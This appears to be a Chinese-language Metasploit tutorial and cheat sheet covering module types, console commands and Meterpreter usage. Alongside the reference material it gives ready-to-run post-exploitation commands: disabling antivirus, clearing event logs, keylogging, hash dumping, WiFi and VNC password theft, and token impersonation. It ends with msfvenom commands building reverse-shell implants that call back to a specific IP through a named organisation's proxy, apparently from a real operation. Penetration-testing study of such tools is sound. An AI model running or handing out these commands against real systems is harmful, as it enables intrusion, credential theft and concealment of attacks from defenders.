

msf基础

0x01 简介

Metasploit Framework 简称MSF，是一款开源的安全漏洞检测工具。可以收集信息、探测系统漏洞、执行漏洞利用测试等，为渗透测试、攻击编码和漏洞研究提供了一个可靠平台，集成数千个漏洞利用、辅助测试模块

0x02 核心组件

msfconsole：Metasploit的主要接口，提供了命令行界面来访问和使用框架的所有功能。

msfvenom：用于生成各种格式的漏洞利用载荷（payloads），包括但不限于apk、exe、php等。

Meterpreter：一个高级的payload，允许深入控制和操作目标系统。

0x03 常用模块介绍

1. Exploit Modules

漏洞利用模块是Metasploit最著名的模块类型之一，用于利用远程或本地系统上的漏洞。这些模块尝试对目标系统执行代码，通常用于获取对系统的控制。每个漏洞利用模块都针对特定的漏洞，并且需要根据目标系统的具体环境进行配置。

2. Payload Modules

载荷模块包含在成功利用漏洞后应该执行的代码。载荷可以是简单的命令，也可以是如Meterpreter这样的复杂脚本，它提供了一个功能丰富的命令行界面，用于与受害者机器交互。载荷分为两大类：反向（连接回攻击者）和正向（连接到远程服务器）。

3. Auxiliary Modules

辅助模块提供了除了漏洞利用外的其他功能，例如扫描、嗅探、指纹识别等。这些模块不会返回shell，但对于信息收集和目标识别等渗透测试的准备阶段非常有用。辅助模块是理解目标系统和网络的重要工具。

4. Post-Exploitation Modules

后渗透模块用于在成功渗透一个系统后执行操作。这些操作包括收集系统信息、提权、维持访问、清理痕迹等。通过这些模块，攻击者可以更深入地控制系统、收集敏感信息或进一步扩大攻击范围。

5. Encoder Modules

编码器模块用于对载荷进行编码，以绕过非执行策略、杀毒软件检测或其他安全防护措施。编码器可以帮助载荷在不被目标系统防御机制识别的情况下成功执行。

6. Nops Modules

Nops模块生成无操作指令序列，通常用于保持载荷大小的一致性或用于缓冲区溢出攻击中的填充。虽然这些模块在渗透测试中的使用不如其他模块频繁，但它们在某些特定情况下非常有用。

7. Evasion Modules

规避模块旨在帮助载荷或漏洞利用代码绕过目标机器的安全检测机制，如入侵检测系统（IDS）和防病毒软件（AV）。通过使用这些模块，攻击者可以增加渗透测试的成功率。

0x04 基础命令

1. 启动Metasploit

```
普通\静默模式进入msf控制台  
msfconsole [-q:静默]
```

2. 数据库管理

```
msfdb init: 初始化Metasploit的数据库。  
db_status`: 查看数据库连接状态。
```

3. 查找和使用模块

search [关键字]: 搜索与关键字相关的模块，如漏洞（exploit）、载荷（payload）、辅助功能（auxiliary）等。

```
例如，search type:exploit platform:windows smb可搜索针对Windows SMB服务的漏洞
```

use [模块路径]: 选择一个模块来使用。

```
例如，use exploit/windows/smb/ms08_067_netapi。
```

4. 配置模块

show options: 显示当前模块的配置选项。

set [选项] [值]: 设置一个选项的值，如`set RHOSTS 192.168.1.1。

setg [选项] [值]: 全局设置一个选项的值，对后续的模块也有效。

unset [选项]: 清除一个选项的值。

unsetg [选项]: 清除全局设置的选项的值。

5. 执行模块

exploit或 run: 执行当前模块。exploit 通常用于漏洞利用模块，而 run 用于辅助功能模块。

exploit -j: 在后台作业中执行模块，允许同时执行多个模块。

6.会话管理

sessions: 列出所有活跃的会话。

sessions -i [会话号]: 与一个特定的会话交互。

background: 将当前的Meterpreter会话放到后台。

7.辅助命令

help 或 ?: 显示可用命令的帮助文档。

info [模块路径]: 显示一个模块的详细信息。

? show //查看show指令的帮助

back: 退出当前模块的上下文。

8.系统命令

exit 或 quit: 退出msfconsole。

banner: 显示一个新的Metasploit标语。

0x05 MSF初始配置

工作区, MSF将所有数据都存储在PostgreSQL, 为了方便开展工作, MSF针对不同的渗透项目执行渗透时, 所产生的工作数据, 都可以存储在不同的工作区内, 方便以后我们写报告时调用数据

1.初始化数据库

```
[root@kail ~]# msfdb init //初始化数据库
[root@kail ~]# systemctl enable postgresql --now //开机自启动数据库
[root@kail ~]# msfconsole //进入msf控制台
```

2.创建/切换/删除工作区

```
msf6 > workspace //查看当前工作区
msf6 > workspace -a tedu //创建工作区tedu, 自动切换到新工作区
msf6 > workspace default //切换到default工作区
msf6 > workspace -d tedu //删除工作区tedu
```

3.扫描数据

```
msf6 > db_nmap -A 192.168.10.143 //调用nmap扫描目标
```

4.查看扫描结果

```
msf6 > workspace -v //显示工作区详细信息
msf6 > hosts //查看扫描结果中的主机
msf6 > services -p 80 //查看扫描结果中80端口信息
```

0x06 MSF常用命令

1、msfconsole

? 帮助菜单
back 从当前环境返回
banner 显示一个MSF banner
cd 切换目录
color 颜色转换
connect 连接一个主机
exit 退出MSF
help 帮助菜单
info 显示一个或多个模块的信息
irb 进入irb脚本模式
jobs 显示和管理作业
kill 杀死一个作业
load 加载一个插件
loadpath 在一个路径搜索并加载模块
quit 退出MSF
resource 运行存储在一个文件中的命令
route 查看一个会话的路由信息
save 保存动作
search 搜索模块名和描述
set 给一个变量赋值
setg 把一个值赋给全局变量
show 显示所给类型的模块，或所有模块
sleep 在限定的秒数内什么也不做
unload 卸载一个模块
unset 解除一个或多个变量
unsetg 解除一个或多个全局变量
use 通过名称选择一个模块
version 显示MSF和控制台库版本号

2、database

db_add_host 添加一个或多个主机到数据库
db_add_note 添加一个注释到主机
db_add_port 添加一个端口到主机
db_connect 连接一个存在的数据库
db_create 创建一个新的数据库实例
db_del_host 从数据库删除一个或多个主机
db_del_port 从数据库删除一个端口
db_destroy 删除一个存在的数据库
db_disconnect 断开与当前数据库实例的连接
db_driver 指定一个数据库驱动
db_hosts 列出数据库中的所有主机
db_nmap 执行Nmap并记录输出
db_notes 列出数据库中的所有注释
db_services 列出数据库中的所有服务
db_vulns 列出数据库中的所有漏洞
db_workspace 转换数据库工作区
db_import_ip_list 引入一个IP列表文件

```
db_import_amap_mlog 引入一个THC-Amap扫描结果文件(-o -m)
db_import_nessus_nbe 引入一个Nessus扫描结果文件(NBE)
db_import_nessus_xml 引入一个Nessus扫描结果文件
db_import_nmap_xml 引入一个Nmap扫描结果文件(-oX)
db_autopwn 自动利用
```

3、db_autopwn

```
-h 显示帮助
-t 显示所有匹配的利用模块
-x 选择基于漏洞的模块
-p 选择基于开放端口的模块
-e 运行所有匹配目标的利用程序
-r 用一个反向连接的shell(reverse)
-b 用一个随机端口的绑定shell(bind)
-q 禁用利用程序输出
-l [范围] 只对此范围内的主机进行利用
-X [范围] 永远排除此范围内的主机
-PI [范围] 只对开放这些端口的的主机进行利用
-PX [范围] 永远排除对开放这些端口的的主机
-m [范围] 只运行名字与正则表达式匹配的模块
```

4、Meterpreter

核心命令：

```
? 帮助菜单
channel 显示动态频道的信息
close 关闭一个频道
exit 终止meterpreter会话
help 帮助菜单
interact 频道交互
irb IRB脚本模式
migrate 转移meterpreter到其他进程
quit 终止meterpreter
read 从频道读数据
run 执行一个meterpreter脚本
use 加载一个或多个扩展
write 向频道写数据
```

文件系统命令：

```
cat 读取一个文件内容到屏幕
cd 切换目录
del 删除指定文件
download 下载一个文件或目录
edit 编辑一个文件
getlwd 获取本地工作目录
getwd 切换工作目录
lcd 切换本地工作目录
```

lpwd 打印本地工作目录
ls 文件列表
mkdir 创建目录
pwd 打印当前工作目录
rm 删除指定文件
rmdir 远程目录
upload 上传一个文件或目录

网络命令：

ipconfig 显示网络接口
portfwd 发送一个本地端口到一个远程服务
route 查看和修改路由表

系统命令：

clearev 清除事件日志
execute 执行一个命令
getpid 取得当前进程ID
getuid 取得服务器运行用户
kill 杀死一个进程
ps 列出进程列表
reboot 重启远程计算机
reg 修改远程注册表
rev2self 在远程机器调用RevertToSelf()
shell 返回一个cmdshell
shutdown 关闭远程系统
sysinfo 取得远程系统的信息

用户接口命令：

enumdesktops 列出所有访问桌面和windows工作站
idletime 远程用户闲置时间
keyscan_dump 转存击键缓存
keyscan_start 开始捕捉击键
keyscan_stop 停止捕捉击键
setdesktop 转移另一个工作站桌面
uictl 用户接口控制

密码数据库命令：

hashdump SAM转储

时间戳命令：

timestamp 修改文件时间戳

0x07 MSF常用模块

1. 常用msf插件

```
run arp_scanner -r 192.168.183.1/24 # 利用arp进行存活主机扫描
run winenum # 自动化执行一些检测脚本
run credcollect # 获取用户hash
run domain_list_gen # 获取域管理账户列表
run post/multi/gather/env # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看磁盘分区信息
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_firefox # 获取firefox缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
run post/windows/gather/enum_patches # 获取补丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 获取snmp团体名称
run post/windows/gather/credentials/vnc # 获取vnc密码
run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav # 关闭杀毒软件
Run event_manager -c # 清除所有攻击日志
run post/windows/manage/enable_rdp [[模块来打开远程桌面]]
run post/windows/manage/migrate [[自动进程迁移]]
run post/windows/gather/checkvm [[查看目标主机是否运行在虚拟机上]]
run post/windows/manage/killav [[关闭杀毒软件]]
run post/windows/manage/enable_rdp [[开启远程桌面服务]]
run post/windows/manage/autoroute [[查看路由信息]]
run post/windows/gather/enum_logged_on_users [[列举当前登录的用户]]
run post/windows/gather/enum_applications [[列举应用程序]]
run post/windows/gather/credentials/windows_autologin [[抓取自动登录的用户名和密码]]
run post/windows/gather/smart_hashdump [[dump出所有用户的hash]] run getgui -u hack -p
123
run post/windows/gather/enum_patches # 补丁信息
run post/multi/recon/local_exploit_suggester # 查询可利用的漏洞
run post/windows/gather/enum_patches # 补丁信息
run post/multi/recon/local_exploit_suggester # 查询可利用的漏洞
```

2. mshta马模块

```
windows/misc/hta_server
```

3. 获取内网段

```
run get_local_subnets
```

4.msf提权模块

```
use multi/recon/local_exploit_suggester
```

5.窃取令牌

```
meterpreter > use incognito //进入这个模块  
meterpreter > list_tokens -u //查看存在的令牌  
meterpreter > impersonate_token NT AUTHORITY\SYSTEM
```

6.使用TCP协议扫描内网事例

```
use auxiliary/scanner/portscan/tcp  
show options  
set rhosts 192.168.2.1-255  
set ports 21,22,25,443,445,1433,3306  
set threads 20  
exploit
```

7.msf内网渗透路由配置

```
route add 0.0.0.0 0.0.0.0 1  
# add表示添加路由  
# 第一个0.0.0.0表示到达任意地址  
# 第二个0.0.0.0表示子网掩码  
# 1表示session编号
```

8.msf域查询相关

```
run post/windows/gather/enum_ad_computers # 查看域内计算机列表  
run post/windows/gather/enum_domains # 枚举当前主机可以看到的域以及该域的域控制器
```

9.上线自动迁移进程

(上线后将shell进程迁移到了资源管理器)

```
set autorunscript migrate -n explorer.exe
```

10. MSF木马走代理进行上线

```
msfvenom -p linux/armle/meterpreter_reverse_http lhost=23.224.49.122 lport=80  
HttpProxyType=http HttpProxyHost=proxy.nhri.org.tw HttpProxyPort=3128 -f elf -o  
~/temp/pup
```

```
msfvenom -p linux/armle/meterpreter/reverse_tcp lhost=23.224.49.122 lport=61148  
HttpProxyType=http HttpProxyHost=proxy.nhri.org.tw HttpProxyPort=3128 -f elf -o  
~/temp/pup
```